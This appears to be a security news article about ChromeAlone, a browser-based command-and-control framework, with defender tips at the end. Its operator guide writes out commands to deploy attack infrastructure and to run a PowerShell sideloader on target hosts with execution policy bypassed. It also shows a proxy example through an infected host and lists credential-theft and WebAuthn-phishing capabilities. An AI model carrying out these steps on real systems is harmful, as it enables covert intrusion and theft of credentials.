A Cobalt Strike Like Tool That Turns Chrome into C2 Platform

At DEF CON 33, security researcher Mike Weber of Praetorian Security unveiled ChromeAlone — a Chromium-based browser Command & Control (C2) framework capable of replacing traditional offensive security implants like Cobalt Strike or Meterpreter.

Not long ago, web browsers were little more than wrappers for HTTP requests. Today, they are complex, feature-packed platforms, so sophisticated that they resemble full operating systems. This evolution brings convenience, but also a massive attack surface.

ChromeAlone is an open-source framework that weaponizes this complexity, using built-in Chrome features to replicate the capabilities of a traditional Command & Control (C2) implant, all while slipping past most endpoint detection systems.

What sets ChromeAlone apart is its stealth: it hides entirely within Chromium’s native features, avoiding the obvious malware footprints that Endpoint Detection & Response (EDR) solutions often look for.

ChromeAlone sideloads malicious components into the browser without user interaction, leveraging:

• Native Chrome APIs for persistence.
• WebAssembly (WASM) for obfuscation and anti-analysis.
• Isolated Web Apps and extensions as delivery mechanisms.
• Browser feature abuse to avoid dropping suspicious binaries on disk.

The result is a highly capable, stealthy implant that blends into legitimate browser activity — a challenge for traditional antivirus and EDR systems that focus on executable files rather than browser extensions or internal processes.

Why ChromeAlone is a Big Deal

According to the repository, ChromeAlone implants can:

• Act as a SOCKS TCP proxy from the infected host.
• Steal browser sessions and stored credentials.
• Launch executables directly from Chrome.
• Phish WebAuthn prompts from YubiKeys, Titan Security Keys, and other physical authenticators.
• Maintain persistence without traditional binaries — using only built-in Chrome functionality.

For red teamers, this means stealth and flexibility. For defenders, it means one more place to look for intrusions: the browser itself.

Step-by-Step Operator Guide to ChromeAlone

While the tool was released for research and authorized testing, its README details a full deployment pipeline. Here’s the distilled how-to.

1. Build the Docker Image

docker build -t chromealone 

2. Deploy the Infrastructure

ChromeAlone supports two deployment modes:

Option A – Fresh AWS Deployment

Requirements:

• AWS account with:
  • Full EC2 write permissions
  • Route53 DNS management
  • At least one hosted zone with a registered domain
• AWS CLI credentials stored in ~/.aws/credentials

Command:

docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws 
chromealone --domain=sendmea.click --appname=UpdateService

• --domain must match a Route53 domain you control.
• --appname is used for registry keys and folders — choose something innocuous.

Outputs:

• output/client – Web-based management console
• output/sideloader.ps1 – PowerShell installer for the target
• output/extension – Malicious Chrome extension
• output/iwa – Malicious Isolated Web App bundle
• output/relay-deployment – Terraform artifacts & SSH key for AWS host

Option B – Using Existing Deployment

If you already have a server deployed, point ChromeAlone to your terraform.tfvars:

docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws 
chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateService

This regenerates sideloaders and malicious extensions without redeploying infrastructure.

3. Install on Target Hosts

Copy sideloader.ps1 to the target and run:

powershell.exe -ExecutionPolicy Bypass -File .sideloader.ps1

Optional Flags:

• -InstallNativeMessagingHost $true → Required for shell commands
• -ForceRestart $true → Forces Chrome restart for immediate activation

Execution typically takes 20–30 seconds.

4. Operating ChromeAlone

Once deployed, open:

output/client/index.html

This preconfigured webapp connects to the BATTLEPLAN relay server.

From here, operators can:

• Dump history & cookies
• Capture credentials
• Trigger WebAuthn prompts
• Browse file system
• Execute shell commands

5. SOCKS Proxying

Each infected host has a unique SOCKS port shown in the “Agent Information” panel.

Example:

proxychains -q socks5 admin:[email protected]:1081 curl http://ifconfig.me

ChromeAlone’s Inner Workings

The repo breaks down into specialized components:

• BATTLEPLAN – Management server + AWS deployment scripts
• BLOWTORCH – Isolated Web App for SOCKS proxying & WebSocket comms
• DOORKNOB – PowerShell sideloader generator
• HOTWHEELS – Malicious Chrome extension (WebAssembly-based capabilities)
• PAINTBUCKET – WebAuthn phishing scripts

While ChromeAlone is a legitimate penetration testing tool, it demonstrates a growing trend: the weaponization of everyday software. Browsers are increasingly becoming both the attack vector and the command center.

Defenders should:

• Monitor for suspicious browser extensions.
• Audit WebAuthn activity for anomalies.
• Watch for unexpected outbound WebSocket/SOCKS traffic.

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